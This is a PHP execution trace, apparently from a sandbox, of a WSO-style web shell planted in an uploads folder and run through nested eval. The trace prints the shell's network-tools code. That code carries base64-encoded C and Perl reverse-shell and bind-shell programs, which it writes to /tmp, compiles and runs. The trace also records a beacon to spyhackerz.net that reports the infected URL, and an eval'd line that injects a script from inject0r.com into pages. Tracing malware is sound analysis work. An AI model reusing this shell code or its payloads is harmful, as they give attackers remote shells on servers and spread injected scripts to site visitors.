$db->fetch(); \r\n                echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\r\n            } \r\n    } \r\n    echo \'</div>\'; \r\n    printFooter(); \r\n} \r\nfunction actionNetwork() { \r\n    printHeader(); \r\n    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9"; \r\n    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; \r\n    $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9"; \r\n    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; \r\n    ?> \r\n    <h1>Network tools</h1><div class=content> \r\n    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;"> \r\n    <span>Bind port to /bin/sh</span><br/> \r\n    Port: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\' value=\'wso\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>"> \r\n    </form> \r\n    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;"> \r\n    <span>Back-connect to</span><br/> \r\n    Server: <input type=\'text\' name=\'server\' value=\'<?=$_SERVER[\'REMOTE_ADDR\']?>\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>"> \r\n    </form><br> \r\n    <?php \r\n    if(isset($_POST[\'p1\'])) { \r\n        function cf($f,$t) { \r\n            $w=@fopen($f,"w") or @function_exists(\'file_put_contents\'); \r\n            if($w)    { \r\n                @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t)); \r\n                @fclose($w); \r\n            } \r\n        } \r\n        if($_POST[\'p1\'] == \'bpc\') { \r\n            cf("/tmp/bp.c",$bind_port_c); \r\n            $out = ex("gcc -o /tmp/bp /tmp/bp.c"); \r\n            @unlink("/tmp/bp.c"); \r\n            $out .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &"); \r\n            echo "<pre class=ml1>$out\\n".ex("ps aux | grep bp")."</pre>"; \r\n        } \r\n        if($_POST[\'p1\'] == \'bpp\') { \r\n            cf("/tmp/bp.pl",$bind_port_p); \r\n            $out = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &"); \r\n            echo "<pre class=ml1>$out\\n".ex("ps aux | grep bp.pl")."</pre>"; \r\n        } \r\n        if($_POST[\'p1\'] == \'bcc\') { \r\n            cf("/tmp/bc.c",$back_connect_c); \r\n            $out = ex("gcc -o /tmp/bc /tmp/bc.c"); \r\n            @unlink("/tmp/bc.c"); \r\n            $out .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &"); \r\n            echo "<pre class=ml1>$out\\n".ex("ps aux | grep bc")."</pre>"; \r\n        } \r\n        if($_POST[\'p1\'] == \'bcp\') { \r\n            cf("/tmp/bc.pl",$back_connect_p); \r\n            $out = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &"); \r\n            echo "<pre class=ml1>$out\\n".ex("ps aux | grep bc.pl")."</pre>"; \r\n        } \r\n    } \r\n    echo \'</div>\'; \r\n    printFooter(); \r\n} \r\nif( empty($_POST[\'a\']) ) \r\n    if(isset($default_action) && function_exists(\'action\' . $default_action)) \r\n        $_POST[\'a\'] = $default_action; \r\n    else \r\n        $_POST[\'a\'] = \'SecInfo\'; \r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) ) \r\n    call_user_func(\'action\' . $_POST[\'a\']); \r\n?> \r\n<div id="cot_tl_fixed"><marquee>Private Shell - Wireless crew &copy Copyleft 2009 -Pro_Wikileaks </marquee></div> \r\nHacker-newbie.org </marquee></div>'	/var/www/html/uploads/refo1.php(4) : eval()'d code	1	0
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	2	$zx = 'localhost'
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	3	$wx = '/uploads/refo1.php'
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	4	$site = 'localhost/uploads/refo1.php'
4	20	0	0.011792	969856	file_get_contents	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	5	1	'https://spyhackerz.net/save.php?url=localhost/uploads/refo1.php&id=7821718728974864923874'
4	20	1	0.160117	971728
4	20	R			''
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	5	$check = ''
4	21	0	0.160288	971560	curl_init	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	9	0
4	21	1	0.160322	972472
4	21	R			resource(5) of type (curl)
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	9	$curl = resource(5) of type (curl)
4	22	0	0.160353	972600	curl_setopt	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	10	3	resource(5) of type (curl)	10002	'https://spyhackerz.net/save.php?url=localhost/uploads/refo1.php&id=7821718728974864923874'
4	22	1	0.160373	972696
4	22	R			TRUE
4	23	0	0.160386	972472	curl_setopt	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	11	3	resource(5) of type (curl)	19913	TRUE
4	23	1	0.160402	972568
4	23	R			TRUE
4	24	0	0.160415	972472	curl_exec	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	12	1	resource(5) of type (curl)
4	24	1	0.538907	972504
4	24	R			''
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	12	$check = ''
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	22	$linr = 'ZWNobyAiPFNDUklQVCBTUkM9aHR0cDovL2luam'
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	23	$winr = 'VjdDByLmNvbS91cGRhdGUuanM+PC9TQ1JJUFQ+Ijs='
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	24	$min = 'base64_decode'
4	25	0	0.539012	972584	base64_decode	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	25	1	'ZWNobyAiPFNDUklQVCBTUkM9aHR0cDovL2luamVjdDByLmNvbS91cGRhdGUuanM+PC9TQ1JJUFQ+Ijs='
4	25	1	0.539034	972728
4	25	R			'echo "<SCRIPT SRC=http://inject0r.com/update.js></SCRIPT>";'
4	26	0	0.539064	973144	eval	1	'echo "<SCRIPT SRC=http://inject0r.com/update.js></SCRIPT>";'	/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	25	0
4	26	1	0.539083	973144
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	35	$auth_pass = 'e48e13207341b6bffb7fb1622282247b'
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	36	$color = '#00ff00'
3		A						/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	37	$default_action = 'FilesMan'
4	27	0	0.539127	972696	define	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	38	2	'SELF_PATH'	'/var/www/html/uploads/refo1.php(4) : eval()\'d code(1) : eval()\'d code'
4	27	1	0.539145	972800
4	27	R			TRUE
4	28	0	0.539159	972728	strpos	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	39	2	'python-requests/2.25.1'	'Google'
4	28	1	0.539174	972800
4	28	R			FALSE
4	29	0	0.539188	972728	session_start	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	43	0
4	29	1	0.539261	973480
4	29	R			TRUE
4	30	0	0.539276	973480	error_reporting	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	44	1	0
4	30	1	0.539291	973520
4	30	R			0
4	31	0	0.539304	973480	ini_set	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	45	2	'error_log'	NULL
4	31	1	0.539320	973552
4	31	R			''
4	32	0	0.539333	973480	ini_set	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	46	2	'log_errors'	0
4	32	1	0.539347	973552
4	32	R			'1'
4	33	0	0.539359	973480	ini_set	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	47	2	'max_execution_time'	0
4	33	1	0.539375	973584
4	33	R			'30'
4	34	0	0.539388	973480	set_time_limit	0		/var/www/html/uploads/refo1.php(4) : eval()'d code(1) : eval()'d code	48	1	0
4	34	1	0.539402	973544
4	34	R			FALSE
3	19	1	0.539421	974976
2	7	1	0.539433	863504
1	3	1	0.539440	860200
1	35	0	0.539448	860232	Error->__toString	0		Unknown	0	0
2	36	0	0.539460	860312	Error->getTraceAsString	0		Unknown	0	0
2	36	1	0.539472	860568
2	36	R			'#0 /var/www/html/uploads/refo1.php(4) : eval()\'d code(1): eval()\n#1 /var/www/html/uploads/refo1.php(4): eval()\n#2 {main}'
1	35	1	0.539492	864704
1	35	R			'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/refo1.php(4) : eval()\'d code(1) : eval()\'d code:49\nStack trace:\n#0 /var/www/html/uploads/refo1.php(4) : eval()\'d code(1): eval()\n#1 /var/www/html/uploads/refo1.php(4): eval()\n#2 {main}'
			0.540620	784184
TRACE END   [2023-02-13 01:08:07.769454]

